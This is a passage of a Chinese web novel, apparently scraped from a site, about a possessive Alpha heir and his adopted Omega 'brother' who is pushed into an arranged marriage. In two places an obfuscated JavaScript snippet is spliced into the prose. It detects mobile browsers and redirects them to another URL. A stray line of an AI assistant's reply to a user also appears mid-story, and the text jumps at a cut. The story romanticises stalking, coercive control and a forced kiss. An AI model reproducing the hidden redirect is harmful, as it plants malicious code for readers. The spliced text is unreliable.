《逢若杂粮铺》 1. 玉骨囚鲤·一 祇氏祖宅的冬,总比城里别处来得更早一些。 东院的七株白梅开得正盛,雪色花瓣压着细枝,风一吹便落得满院清寒,恰应了院主人取的“玉骨冰肌”四字。 两层小楼的二层书房里,暖光透过落地玻璃窗洒在深色檀木书桌上,所有物件以中轴线严格对称,连钢笔的倾斜角度都分毫不差。 祇玉坐在真皮座椅上,指尖轻抵下颌,垂眸看着桌角电子屏上跳动的海外分公司财报。 他生得极高,一百九十五厘米的身形裹在剪裁精准的黑色高定衬衫里,肩线利落如刀削,侧脸线条冷硬,唇线抿成一道淡漠的弧,周身散发着Alpha与生俱来的压制性气场,却又被他用极致的克制收敛成一片沉寂的冰。 今日是霜降后三日,是他的二十岁生辰。 族中长老备了家宴,祇家长辈坐在主位,目光扫过阶下的祇玉,满是藏不住的满意。 这是祇家百年难遇的嫡子,出生便伴祥瑞——二十年前他降生当夜,祖宅库房封存三十年的和田籽玉无故开裂,内里羊脂玉质莹润如雪,长老们当即拍板,取名为“玉”,定为祇家唯一的继承人。 只是没人记得,这块玉的前七年,是在城郊别苑的药香里泡大的。 幼时体弱的祇玉,三岁前几乎不曾踏足祖宅,三位乳母与专属医师日夜不离,汤药喂了一碗又一碗,连呼吸都带着小心翼翼的谨慎。 他是祇家藏起来的希望,也是被圈在金丝笼里的病雀,直到七岁那年身体渐强,才被接回这座雕梁画栋的牢笼。 也是在七岁那年,他第一次见到祇鲤。 彼时的祇鲤十二岁,穿着米白色的针织衫,站在祖宅正厅的槐木屏风前,眉眼温润,笑起来时眼尾弯成浅弧,像春日里化冻的溪水。 管家领着祇玉,指着那个比他高出一个头的少年,用不容置疑的语气说:“玉儿,这是你哥哥,祇鲤。” 哥哥。 这个词像一颗种子,落进祇玉七岁的心里,在严苛规训的冻土下,悄无声息地扎了根。 他自幼被教导要隐忍、要强大、要成为无懈可击的祇家继承人,连哭一声都被视作软弱。 可祇鲤不一样,祇鲤会在他被父亲严苛训斥后,悄悄塞给他一颗水果糖,会在他被噩梦惊醒的深夜,坐在床边守到天亮,会握着他的手,教他在画纸上涂涂抹抹,画出东院还未种下的白梅。 那时的祇玉,会拽着祇鲤的衣角,软着声音叫“哥哥”,会把自己最喜欢的玉佩塞进祇鲤手里,会笨拙地跟在他身后,模仿他的一举一动,嫉妒他能拥有自己永远得不到的自由。 他以为,那是血脉相连的至亲。 直到十五岁那年,他在家族书房的暗格里,翻到了那份尘封的领养协议。 纸上的字迹清晰刺眼:祇鲤,襁褓弃婴,慈幼院出身,生辰八字与祇玉相合,领养用以压其病气。 非祇家血脉。 不是哥哥。 只是一个用来给他挡灾的工具。 那天下午,祇家私人射击场里,枪声连绵不绝,震得空气都在发颤。 祇玉握着枪的手稳如磐石,一颗接一颗的子弹射向靶心,直到虎口被枪柄磨得通红,渗出血珠,染在黑色枪托上,他才停下动作。 风卷着硝烟味吹过,少年Alpha的眼里,原本的依赖与亲近,一点点被扭曲的恨意、不甘,以及一种连他自己都未曾察觉的、疯狂的占有欲取代。 他恨祇鲤占据了十三年“兄长”的位置,恨自己多年的真心托付给了一个外人,更恨自己在得知真相后,非但没有疏远,反而生出了想要将这个人牢牢攥在手心、刻上祇玉的印记、让他永远只属于自己的念头。 他把这种念头,精确地归类为“喜欢”。 绝口不提“爱”。 爱太软弱,太失控,不符合祇家继承人的准则。只有掌控,才是永恒。 西院偏厢的朝北房间,光线总是比别处暗一些。 窗外的老槐树虬枝横斜,树龄比祇鲤来到祇家的时间还要久。冬日的阳光穿不透厚重的云层,落在房间里,只剩一片寡淡的灰。 祇鲤坐在靠窗的画架前,指尖捏着一支炭笔,在画布上轻轻勾勒。 画中是一个模糊的少年背影,身形挺拔,穿着白色衬衫,站在一片白梅之中,似乎正要回头。 他画了三年,却始终没有让那个背影转过身来。 二十五岁的Omega,身高一百七十六厘米,身形清瘦,气质温润如古玉,眉眼间永远带着恰到好处的笑意,是祇家对外最拿得出手的“养子大少爷”。 可只有他自己知道,这层温润的皮囊下,藏着多少无处安放的惶恐与倔强。 他是谷雨那天出生的,襁褓被遗弃在慈幼院门口,只有一块绣着“鲤”字的粗布襁褓,便成了他的名字。 在慈幼院的五年,Omega的身份让他受尽孤立与欺负,他早早学会了用乖巧的笑容换取食物,用示弱退让躲开纷争,骨子里刻着对“家”的极致渴望。 五岁冬至,祇家夫人的车停在慈幼院门口,选中了他。 理由不是喜欢,不是怜悯,而是一句冰冷的“生辰八字与玉儿相合,能压得住他的病气”。 他成了祇家对外宣称的“嫡长子”,在祖宅里以大少爷的身份活了十五年。 他真心疼爱着那个体弱多病的小弟弟,会在祇玉掉落玉佩时,不顾一切伸手去捡,被碎瓷划破左腕,留下一道永远无法消去的疤痕。 那时祇玉哭到窒息,抱着他的手说“哥哥对不起”,他摸着小孩的头,觉得哪怕伤得再重,也值得。 那枚玉佩,如今挂在祇玉的颈间,从不离身。 他教祇玉画画,替他挡下父亲的苛责,把自己仅有的温柔,全都给了那个被家族寄予厚望的弟弟。 他以为,自己终于有了家,有了亲人。 直到十五岁,祇玉以“玉少爷”的身份正式对外公布,他一夜之间,从“嫡长子”变成了“养子”。 也是在那一天,他无意间听到了祇家夫人与长老的对话,知道了自己来到祇家的真正目的——不是被收养,而是用来给祇玉压病气的工具。 屈辱、愤怒、被欺骗的痛苦,像潮水一样将他淹没。 他守了十年的弟弟,成了祇家名正言顺的主人;他盼了十五年的家,不过是一座精心打造的牢笼。 更让他惶恐的是,祇玉变了。 那个曾经会拽着他衣角撒娇的小孩,长成了身形挺拔的Alpha,沉默寡言,眼神深邃,看向他的目光里,不再有幼时的依赖,反而多了一种让他脊背发凉的、极具占有欲的凝视。 他开始刻意躲避祇玉,常年贴着信息素阻隔贴,将自己雨后青苔混着旧书页的淡味信息素牢牢藏起。 他厌恶自己Omega的本能,会在祇玉靠近时不受控制地心跳加速,厌恶那种被觊觎、被锁定的感觉,更厌恶自己心底深处,偶尔会冒出的、对那个温柔小弟弟的怀念。 他开始频繁接受家族安排的相亲,对象都是家世清白的Beta或Omega,他想给自己筑一道防线,想告诉祇玉,也告诉自己——他祇鲤,不会成为任何人的所有物。 可祇氏祖宅就这么大,东院的白梅香,总会飘到西院的槐树下;那个冷淡疏离的Alpha,总会在他必经的走廊“偶遇”,总会让厨房“恰好”准备他爱吃的点心,总会在他不经意间,用目光将他牢牢锁住。 逃不开,躲不掉。 祇玉的书房,是祇氏祖宅最隐秘的角落。 除了他自己,无人能随意踏入。 书房的墙壁是特制的隔音材质,空气中弥漫着他专属的香薰味,清冽冷寂,像冬日的寒玉。 所有物品严格对称,连书架上的书籍,都按照大小、颜色排列得一丝不苟,彰显着主人近乎偏执的掌控欲。 书桌下方的暗格,是他藏了七年的秘密。 暗格被精密的锁具锁住,唯有他的指纹与虹膜能开启。 里面没有贵重的珠宝,没有机密的文件,只有十七张裁切得整整齐齐的照片,一叠被仔细抚平的草稿纸,还有几支用完的、印着祇鲤名字缩写的钢笔。 照片是从家族相册里偷偷裁下来的,都是祇鲤少年时的模样: 十五岁的祇鲤在画室里画画,阳光落在他的发顶; 十七岁的祇鲤拿着国立艺术学院的录取通知书,嘴角带着浅淡的笑意; 二十岁的祇鲤站在毕业作品展的展台前,眼里闪着光。 每一张,祇玉都看了无数遍。 他收集祇鲤丢弃的草稿纸,上面是未完成的画稿,是随手写下的诗句;他收起祇鲤用完的笔,指尖摩挲着笔杆上残留的、极淡的青苔气息,像在触碰一件稀世珍宝。 他从不贸然行动。 精于计算的Alpha,习惯将一切都掌控在计划之中。他的“偶遇”,是算准了祇鲤每天出门的时间;他让厨房准备的饮食,是记了整整八年的偏好;他落在祇鲤身上的目光,克制又汹涌,像冰山下的熔岩,只待一个时机,便会彻底喷发。 他在等。 等祇鲤彻底认清自己的身份——他不是祇家的少爷,只是一个无依无靠的养子,一个曾经用来压病气的工具。 等祇鲤走投无路,除了依附他这个真正的祇家血脉,再无任何选择。 他不要一时的臣服,不要被迫的顺从,他要祇鲤心甘情愿地走向他,要他眼里心里,只剩下自己一个人,要他成为自己掌中的玉,笼中的鲤,永远无法逃离。 左肩胛骨处的残月形胎记,在衬衫下隐隐发烫。 那是他从未示人的隐秘,就像他私下研习的锁技与束缚术,对外宣称是防身,可只有他自己知道,无数个深夜,他在脑海里幻想过无数次——将祇鲤轻轻困在怀中,用最温柔的束缚,将他锁在自己的世界里,让他只能看着自己,只能依赖自己。 窗外的白梅落了一地,月光洒在花瓣上,冷白如霜。 祇玉合上暗格,指尖轻轻拂过照片上祇鲤的眉眼,薄唇轻启,声音低得只有自己能听见:“哥哥,再等等。” 每月十五,是祇鲤雷打不动的远行日。 夜色深沉,他避开祖宅的佣人,悄悄从西院的侧门离开,打车前往城郊的慈幼院旧址。 曾经的慈幼院,早已变成一片废墟,断壁残垣在月色下显得格外荒凉。 祇鲤站在那堵早已坍塌的围墙外,静静地站着,从深夜直到凌晨,像一尊孤独的雕像。 他在等什么,连他自己都说不清楚。 等一个从未出现过的亲人? 等一个不可能回头的童年? 还是等一个能让自己彻底解脱的答案? 没人知道。 就像没人知道,祇玉也会在每月十五,前往城郊别苑。 那间祇玉幼时养病的房间,还保持着当年的模样,药香早已散去,只剩下满室清冷。 祇玉会在这里待到凌晨,坐在窗边,看着远处慈幼院旧址的方向,目光深邃,无人知晓他在想什么。 一个在废墟前守望,一个在旧居里沉默。 隔着一片夜色,遥遥相对,却又彼此不知。 祇鲤的左腕内侧,那道为祇玉留下的疤痕,在月色下微微泛白。 他抬手,轻轻抚过疤痕,指尖传来细微的触感,记忆瞬间回到八岁那年。 碎瓷划破皮肤的痛感还依稀记得,可那个哭着抱着他的小孩,早已长成了让他害怕的Alpha。 他回到祖宅时,天已经蒙蒙亮。 西院的老槐树下,站着一个熟悉的身影。 祇玉穿着黑色的长风衣,身形挺拔,背对着他,看着东院的白梅。 清冽的信息素气息,若有若无地飘过来,压制性的Alpha气场,让祇鲤的身体下意识地僵住。 Omega的本能,在面对顶级Alpha时,总会不受控制地臣服。 祇玉缓缓转过身,目光落在祇鲤身上,从他微乱的头发,到他泛红的眼角,再到他左腕下意识藏起的疤痕,一一扫过,精准得像在打量一件属于自己的藏品。 “去哪了?” 他开口,声音低沉冷淡,没有质问的语气,却带着一种不容抗拒的掌控感。 祇鲤垂下眼,掩去眼底的慌乱,扬起惯常的温润笑容:“没去哪,随便走走。” “随便走走?”祇玉迈步走近,一步,一步,距离越来越近,清冽的香薰味包裹住祇鲤,“从天黑走到天亮,祇鲤,你觉得我会信?” 他第一次连名带姓地叫他,语气里的压迫感,让祇鲤的心跳骤然加速。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261097|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他后退一步,后背抵上老槐树粗糙的树干,退无可退。 抬头时,撞进祇玉深邃的眼眸里。 那双眼眸里,没有幼时的软糯,没有平日的疏离,只有翻涌的、几乎要将他吞噬的占有欲,像一张无形的网,将他牢牢困住。 祇鲤的喉结轻轻滚动,指尖攥紧,心底的恐惧与一种莫名的悸动,交织在一起,让他几乎窒息。 他知道,自己一直逃避的东西,正在一步步逼近。 那座名为祇家的牢笼,早已被祇玉布下了天罗地网,而他这条无处可去的鲤,终究游不出那块冰冷的玉。 祇家基金会的慈善晚宴,是祇鲤每月都要出席的场合。 他穿着量身定制的白色西装,领口系着领结,温润的笑容挂在脸上,游走在政商名流之间,游刃有余地寒暄、敬酒,扮演着祇家温文尔雅的艺术顾问。 没人知道,他曾经是国立艺术学院油画系的金奖得主,他的画作曾被业内名家称赞,却在毕业那天,被祇家长辈一句“祇家不需要抛头露面的艺术家”,悉数锁进了仓库,再也不见天日。 他的热爱,他的梦想,在祇家的荣耀面前,一文不值。 晚宴的角落,祇玉坐在沙发上,指尖捏着一杯威士忌,目光自始至终,都锁在祇鲤身上。 看着他对别人微笑,看着他与其他Omega相谈甚欢,看着他手腕上的阻隔贴,严严实实地遮住那道疤痕。 Alpha的占有欲,在心底疯狂翻涌。 他精准地记得,今晚祇鲤相亲的对象,会出现在晚宴上。 是一位家世清白的Omega,温柔乖巧,门当户对,是祇家夫人满意的人选。 当那个Omega端着酒杯走向祇鲤时,祇玉握着酒杯的手指,骤然收紧,骨节泛白。 他起身,迈步,没有丝毫犹豫,径直走向两人。 强大的Alpha信息素,毫无保留地释放出来,压制性的气场瞬间笼罩了整个宴会厅,原本喧闹的场合,瞬间安静下来,所有人都感受到了来自祇家继承人的不悦。 祇鲤的身体猛地一僵,雨后青苔的信息素不受控制地泄露了一丝,脸色微微发白。 他抬头,看向一步步走近的祇玉,眼里满是慌乱。 祇玉站在他面前,居高临下地看着他,一百九十五厘米的身高,带来绝对的压迫感。 他的目光扫过一旁的Omega,没有丝毫温度,那人瞬间脸色惨白,狼狈地退了下去。 宴会厅里的目光,全都聚焦在兄弟二人身上,窃窃私语的声音,若有若无。 祇鲤攥紧指尖,勉强维持着笑容:“阿玉,你怎么过来了?” “看你很忙。”祇玉的声音冷淡,视线落在他的脸上,“哥哥,身体不舒服?” 他刻意加重了“哥哥”两个字,语气里的深意,只有祇鲤能听懂。 祇鲤的心跳更快,阻隔贴下的皮肤,微微发烫。他知道,祇玉生气了。 “我没事。”祇鲤低下头,想要避开他的目光。 可下一秒,祇玉的手指,轻轻抚上了他的手腕。 指尖的温度,透过薄薄的西装布料传过来,滚烫得吓人。 祇玉的指尖,精准地停在那道陈年疤痕的位置,轻轻摩挲着。 “这里,还疼吗?” 祇鲤的身体,瞬间僵住。 八岁那年的记忆,再次涌上心头,碎瓷、鲜血、小孩的哭声,交织在一起,让他的眼眶微微泛红。 他猛地抽回手,后退一步,声音带着不易察觉的颤抖:“不疼了,早就不疼了。” 祇玉看着他慌乱的模样,眼底闪过一丝极淡的笑意,快得让人无法捕捉。 他要的,就是这个效果。 他要让祇鲤记得,记得他们之间的羁绊,记得那些无法抹去的过往,记得他这辈子,都不可能摆脱祇玉这个名字。 “晚宴结束,等我一起回去。”祇玉丢下一句话,转身离开,留下祇鲤一个人,站在原地,手足无措。 晚宴结束后,车里的气氛,沉默得让人窒息。 祇玉坐在副驾驶,祇鲤坐在后座,两人之间隔着一段距离,却又仿佛被无形的丝线紧紧缠绕。 车窗外的夜景飞速倒退,祇鲤看着窗外,脑海里全是祇玉刚刚的眼神,还有他指尖的温度。 他回到西院的房间,第一件事,就是走到画架前,看着那幅未完成的画。 画中的少年背影,依旧站在白梅之中,迟迟没有转身。 他拿起画笔,指尖颤抖,想要画出那个背影的脸,可笔尖落下,却始终无法落笔。 他不敢。 不敢面对画中人的脸,不敢面对自己心底深处,那份不愿承认的、对祇玉的渴望。 他渴望被需要,渴望被在乎,渴望有一个人,不是因为祇家,不是因为工具,只是因为他是祇鲤,而爱他。 而这个人,偏偏是祇玉。 是那个将他视作所有物的Alpha,是那个祇家唯一的继承人。 东院的小楼里,祇玉站在窗边,看着西院的灯光亮起,又缓缓熄灭。 他的指尖,摩挲着颈间的玉佩。 那是祇鲤八岁那年,拼了命为他捡回来的玉佩,玉质温润,贴身戴着,早已染上了他的体温。 他知道祇鲤在害怕,知道祇鲤在逃避,知道祇鲤在试图用相亲来推开他。 可他不在乎。 他有的是耐心,有的是手段,有的是时间,慢慢等,慢慢磨,直到祇鲤放下所有的防备,直到祇鲤心甘情愿地来到他身边。 书房的暗格再次被打开,祇玉拿出最上面的那张照片,照片上的少年祇鲤,笑得温柔。 他低头,轻轻吻了吻照片上的眉眼,薄唇轻启,声音温柔得近乎蛊惑: “祇鲤,你逃不掉的。” “你的过去,你的现在,你的未来,都只能是我的。” 西院的老槐树,在夜色中轻轻摇晃,东院的白梅,落了最后一片花瓣。 玉骨生寒,鲤影难藏。 祇家祖宅的牢笼,早已为他们二人,锁上了最后的一道锁。 而握着钥匙的人,从来只有祇玉一个。 他在等一个霜降的夜,等一场注定的沉沦,等他的鲤,游进他为他筑好的、永远无法逃离的玉池之中。 2. 玉骨囚鲤·二 祇家祖宅的正厅,气氛沉得像浸了冰水。 红木长桌两侧,祇家长辈端坐,佣人垂首立在角落,连呼吸都放得极轻。 祇母端坐在主位上,指尖轻轻叩着桌面,目光落在下方站着的祇鲤身上,温和的眉眼间带着不容置喙的强势。 祇鲤垂着眼,指尖在身侧微微攥紧,白色衬衫的袖口被捏出几道褶皱。 他刚刚听完了一句话,一句足以将他最后一点底气碾得粉碎的话。 祇母语气平淡,像是在说一件再寻常不过的家事:“萧家和我们祇家门当户对,萧源那孩子我见过,品性、家世、能力都挑不出错,又是Alpha,能护着你。我已经和萧家定下了,等过完这个月,就给你们订婚,年底完婚。” 顿了顿,她像是忽然想起什么一般,补充了一句,语气里带着理所当然的期许: “萧家三代单传,你嫁过去,尽早生个孩子,也算是……对得起祇家养你这么多年。” “生个孩子”四个字,轻飘飘落在祇鲤耳里,却重得像一块烧红的烙铁,狠狠烫在他心上。 他猛地抬头,脸色瞬间惨白,连嘴唇都失去了血色。 结婚。 嫁给一个陌生的Alpha。 生孩子。 这些词在他脑海里炸开,一片混乱。 他是Omega,天生就背负着这样的宿命吗?被安排、被决定、被当成维系家族关系的工具,甚至……被当成生育的容器。 他胸口剧烈起伏,一股难以压制的怒气从心底直冲上来,几乎要冲破他常年维持的温顺皮囊。 凭什么? 凭什么他的人生要被这样随意摆布? 凭什么他连选择和谁在一起、要不要生孩子的权利都没有?凭什么他这辈子,就只能做一颗任人摆布的棋子? 在慈幼院被人欺负时他没有哭,被揭穿是养子时他没有垮,被祇玉用那样可怕的目光盯着时他没有逃,可此刻,祇母一句轻飘飘的指婚,几乎要将他整个人击垮。 他想质问,想反驳,想大声说“我不嫁”。 可话到了嘴边,却被硬生生咽了回去。 他不敢。 不敢反抗,不敢忤逆,不敢把心底那点可怜的愤怒表露出来。 他是祇家的养子,是吃祇家的饭、住祇家的房、穿祇家的衣长大的。 一旦反抗,他会失去现在的一切,会被重新打回到那个无家可归、任人践踏的弃儿身份。 他怕极了那种无处可去的感觉。 祇鲤喉结滚动,声音干涩得厉害,连一句完整的话都说不出来:“……夫人,我……” “怎么?”祇母眉梢微挑,笑容淡了几分,“不满意?” 那眼神里的压迫感,让祇鲤后背瞬间渗出一层冷汗。 他立刻低下头,将所有的情绪死死压在心底,只露出一副温顺顺从的模样。 “没有。”他咬着牙,一字一顿,“我知道了,我听您的安排。” “这就对了。”祇母脸上重新露出满意的笑容,“你是祇家的人,你的婚事,自然要为祇家考虑。萧源不会委屈你,乖乖听话,以后有你享不尽的福气。” “是。” 祇鲤应着,心脏却像被一只无形的手狠狠攥住,疼得他几乎喘不上气。 他像一具被抽走灵魂的木偶,僵硬地站在原地,听着长辈们谈论着订婚的细节、婚礼的规模、萧家那边的要求,每一句,都像一把刀,在他心上反复切割。 生孩子。 这三个字反复在他脑海里回荡,让他生理性地反胃。 他一想到要和一个完全陌生的Alpha亲近,一想到要被标记、要被迫孕育后代,一想到自己这辈子都要被困在一段没有半分感情的婚姻里,他就浑身发冷。 更让他心口发闷的是—— 他第一时间想到的,不是萧家,不是未来的丈夫,而是东院那个沉默寡言、眼神冰冷的Alpha。 祇玉。 如果他知道了这件事,会是什么反应? 是无所谓,觉得这是“最好的安排”? 还是……会像上次慈善晚宴那样,不动声色地,将一切都搅碎? 祇鲤不敢想。 正厅的对话结束,祇鲤几乎是逃也似的离开了正厅。 他没有回西院,而是漫无目的地走在祖宅的回廊里。 风一吹,鼻尖萦绕的都是东院飘来的白梅冷香,那是祇玉身上的味道。 他走到回廊转角处,脚步猛地顿住。 祇玉就站在不远处的梅树下,背对着他,身形挺拔如松。 他显然已经站了很久,刚刚正厅里的对话,恐怕一字不落地,全都听进了耳里。 祇鲤的心脏瞬间提到了嗓子眼,浑身血液都像是凝固了。 空气安静得可怕。 祇玉缓缓转过身。 他脸上没有任何表情,依旧是那副冷淡疏离的模样,可那双漆黑的眼眸里,却翻涌着祇鲤从未见过的阴鸷与戾气。 清冽冷肃的Alpha信息素,毫无征兆地骤然爆发。 不是平日里那种克制的压迫,而是近乎掠夺性的、冰冷刺骨的威压,像潮水一般席卷而来,瞬间将祇鲤整个人包裹。 祇鲤腿一软,下意识往后退了一步,后背抵上冰冷的廊柱。 Omega的本能在疯狂预警,可他却连逃跑的力气都没有。 祇玉一步步朝他走来,每一步,都像踩在祇鲤的心跳上。 身高一百九十五厘米的Alpha居高临下地看着他,眼神冷得像冰,声音低沉,一字一顿,带着刺骨的寒意: “你刚才,答应了?” 祇鲤抬眼,撞进他深不见底的眼底,嘴唇颤抖,一句话都说不出来。 他能说什么? 说他不敢反抗? 说他只是一颗任人摆布的棋子? 还是说——他其实,一点都不想嫁给别人。 祇玉看着他苍白慌乱、眼底泛红却强装镇定的模样,指尖微微收紧,骨节泛白。 指婚。 嫁给萧源。 生孩子。 每一个词,都在刺激着他紧绷的神经。 他精心算计、默默等待、藏了这么多年的人,竟然要被当成一件物品,送出去,给别的Alpha做妻子,给别的家族生孩子。 一股近乎毁灭的占有欲,在他胸腔里疯狂炸开。 祇玉微微俯身,凑近祇鲤耳边,声音压得极低,带着一丝蛊惑,又带着一丝残忍: “祇鲤,你记住。” “你这辈子,只能是我的。” “谁也别想把你从我身边带走。” “包括——你自己。” 温热的气息拂过耳廓,祇鲤浑身一颤,眼眶瞬间红了。 他分不清心底翻涌的是恐惧,是绝望,还是一丝连自己都不敢承认的、微弱的期待。 祇母的指婚,像一根导火索,彻底点燃了东院那座沉寂多年的冰山。 玉骨既已动怒,笼中鲤,再也别想逃去别人身边。 祇玉回到东院小楼时,指节还在控制不住地发颤。 书房门被他重重关上,隔音材质将外界一切声响隔绝在内,也把他所有快要绷断的情绪,死死锁在这四壁之内。 满室清冽的香薰味,此刻闻着只觉得呛鼻。 他抬手扯松领带,踉跄一步抵在冰冷的书桌上,视线扫过眼前对称到刻板的一切——整齐的书籍、对齐的钢笔、分毫不差的摆件,全都成了讽刺。 他精于计算,掌控全局,手握亿万家产,能定东南亚三家分公司的生死,能让整个宴会厅的人因他一个眼神噤声。 可刚刚在回廊里,听见祇鲤那一句轻得像羽毛、却重得像千斤的“我听您的安排”时,他胸腔里那座用理智堆砌了十几年的堡垒,轰然塌了一角。 他甚至不敢细想。 不敢想祇鲤低着头答应的模样,不敢想他明明气得发抖却不敢反抗的隐忍,不敢想他要穿上不属于自己的礼服,嫁给一个叫萧源的Alpha。 更不敢想——生孩子。 这三个字像烧红的针,一下下扎进他脑海最深处。 祇鲤要被别人标记。 祇鲤的信息素要被别人覆盖。 祇鲤要和别人亲近,要孕育别人的孩子。 那个会在他噩梦缠身时守到天亮的哥哥,那个会替他挡下父亲苛责的哥哥,那个手腕为他留疤、笑起来温温柔柔的祇鲤……要变成别人的人。 凭什么。 凭什么。 一股滚烫的酸意猛地冲上眼眶,撞得他鼻尖发酸,视线瞬间模糊。 祇玉猛地攥紧拳,指甲深深掐进掌心,用疼痛逼回那点荒谬的湿意。 他是Alpha。 是祇家嫡子。 是不能有破绽、不能有软肋、不能失态的继承人。 哭? 那是弱者才有的东西。 七岁之后,他就没再哭过。 可此刻,心脏像是被一只无形的手狠狠攥住、揉捏、撕扯,疼得他呼吸都发颤。 那种情绪不是暴怒,不是占有,是一种近乎恐慌的、怕失去的疼。 他怕。 怕祇鲤真的点头。 怕祇鲤真的认命。 怕自己再怎么算计、再怎么等待,到头来,祇鲤还是会被推到别人怀里。 他一直以为自己足够耐心,以为可以等祇鲤看清、等祇鲤依赖、等祇鲤心甘情愿。 可现在他才发现,他等不起。 一想到祇鲤会对着另一个Alpha笑,会被另一个Alpha触碰,会为另一个人生孩子……祇玉就觉得整个人都要疯了。 喉间涌上一股腥甜与哽咽交织的闷堵,他猛地偏头,抬手捂住眼睛,指缝里漏出一丝极轻、极压抑的气音。 不像哭,更像一头被触了逆鳞的兽,在无人可见的角落里,第一次露出狼狈的溃堤。 书桌上的屏幕还亮着,是海外分公司的财报,数字冰冷跳动,再也入不了他的眼。 他伸手,胡乱一扫,桌角那只从祇鲤那里收来的旧笔“哐当”落地,滚到他脚边。 笔杆上,还残留着一丝淡得几乎看不见的、雨后青苔混着旧书页的气息。 是祇鲤的味道。 祇玉弯腰捡起那支笔,指尖死死攥着,指节泛白,像是要把这支笔嵌进骨血里。 “你答应得真痛快……” 他低声开口,声音沙哑得不成样子,带着自己都没察觉的委屈和戾气,每一个字都在发颤: “你就这么想离开祇家?” “这么想嫁给别人?” “这么想……给别人生孩子?” “那我呢?” “我算什么?” 那句藏了十几年的“哥哥”堵在喉咙口,烫得他说不出口。 从七岁那年一声“哥哥”开始,到十五岁得知真相后的扭曲,再到如今快要把自己烧起来的嫉妒与恐慌。 他要的从来不是祇家的符号,不是一个听话的棋子,不是一场完美的掌控。 他要祇鲤。 完完整整的祇鲤。 只看他、只属于他、只能被他拥有的祇鲤。 “你不准。” “不准答应。” “不准嫁。” “不准……怀上别人的孩子。” 他一字一顿,像是在对祇鲤宣告,又像是在对自己发誓。 眼泪终究还是没掉下来,却全部憋回心里,烫成一片狰狞的执念。 左肩胛骨下的残月胎记,在衬衫下隐隐发烫。 书房暗格里那十七张照片,还整整齐齐地躺着。 照片里的少年笑得温柔,不知道自己早已被眼前这个快要气哭的Alpha,刻进骨血,锁进余生。 祇玉深吸一口气,再抬眼时,眼底的湿意已经褪去,只剩下一片近乎疯狂的坚定。 耐心? 不要了。 计划? 可以改。 他不等了。 再等,他的鲤,就要跳进别人的池子里了。 掌心的旧笔被他攥得更紧。 “祇鲤,”他望着窗外西院那盏微弱的灯,声音轻得像誓言,又狠得像诅咒, “你生,也只能生我的。” “这辈子,下辈子,你都别想摆脱我。” “谁也不能把你抢走——” “谁都不行。” 窗外白梅簌簌落下,东院小楼里的Alpha,第一次在无人看见的地方,为了他的Omega,乱了所有方寸。 气到发红的眼,疼到发颤的心,全都只因为一句—— 他要嫁给别人了。 我现在直接为你写这段高强度、占有欲爆发、情绪失控、完整剧情向的情节,严格贴合你给的人设、情绪、背景与氛围,不越界、不低俗、保持小说质感,把祇玉的委屈、愤怒、偏执、失控和独占欲全部写到位。 西院偏厢的灯只亮了一盏。 朝北的房间阴冷,光线昏沉,祇鲤坐在床沿,指尖反复摩挲着左腕那道疤痕,心脏还在因为下午那场指婚,一阵阵抽痛。 他不敢反抗,不能反抗。 祇母的话像一道枷锁,牢牢扣在他脖子上——嫁去萧家,给萧源生孩子,这是他作为祇家养子,唯一能回报的“恩情”。 可只要一想到要和陌生的Alpha肌肤相亲,要被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是Alpha,是天之骄子,是从不示弱的祇家继承人。 可此刻,他在祇鲤面前,委屈得快要哭出来。 祇鲤被他吼得一颤,眼圈也红了,积压了一整个下午的委屈和绝望终于绷断:“不然我能怎么样?我反抗吗?我反抗了,我就会被赶出祇家!我无处可去!” “无处可去?” 祇玉猛地俯身,一手撑在祇鲤耳侧,将人彻底困在自己胸膛与墙壁之间,形成密不透风的包围圈。 他的视线死死锁住祇鲤泛红的眼,声音颤抖,带着近乎崩溃的偏执: “你有我!” “你有我啊!” “我什么时候让你无处可去过?!” “从七岁到现在,我哪一次不是护着你?哪一次不是把你放在心尖上?你为什么宁愿去嫁给一个陌生人,宁愿去给别人生孩子,都不肯看我一眼?!” 积压了十三年的情绪,在这一刻彻底爆发。 不是冷静的算计,不是精密的布局,是一个少年Alpha藏了太久太久的、滚烫又疯狂的心意。 祇鲤怔住了。 他看着祇玉发红的眼眶,看着他强忍的泪意,看着他浑身颤抖的失控模样,心脏猛地一缩。 这不是那个冷淡疏离的祇玉。 这是那个曾经会拽着他衣角哭、会把玉佩塞给他、会偷偷跟着他的小弟弟。 是那个……把他放在心尖上的人。 “祇玉,你……” 话没说完,祇玉已经低下头,吻落了下来。 不是温柔,不是试探。 是失控、掠夺、带着哭腔的占有。 唇齿相触的瞬间,祇鲤浑身一僵,Omega的信息素不受控制地泄露出来——雨后青苔混着旧书页的淡香,在Alpha强势的气息里,软得一塌糊涂。 祇玉的手扣住他的后颈,力道不大,却带着不容挣脱的固执,另一只手揽住他的腰,将人紧紧按在自己怀里,像是要把他嵌进骨血里。 “不准嫁……” 他埋在祇鲤颈间,声音哽咽,带着哭腔,又带着偏执入骨的宣告: “不准给萧源生孩子。” “不准被别人标记。” “祇鲤,你是我的。” “从七岁那年你牵我的手开始,从你为我划伤手腕开始,从你守在我床边开始,你就只能是我的。” “我不准你走。” “我不准你离开我。” “谁都不能把你抢走——你自己也不行。” 他的气息滚烫,落在祇鲤颈侧,带着压抑到极致的委屈和暴怒。 平日里对称整洁、有严重洁癖的Alpha,此刻全然不顾章法,只知道紧紧抱着怀里的人,仿佛一松手,这人就会消失,就会变成别人的妻子,就会再也不属于他。 祇鲤的挣扎渐渐软了下去。 他能感受到祇玉浑身的颤抖,能感受到他颈间湿润的温度——那是强忍了太久的泪。 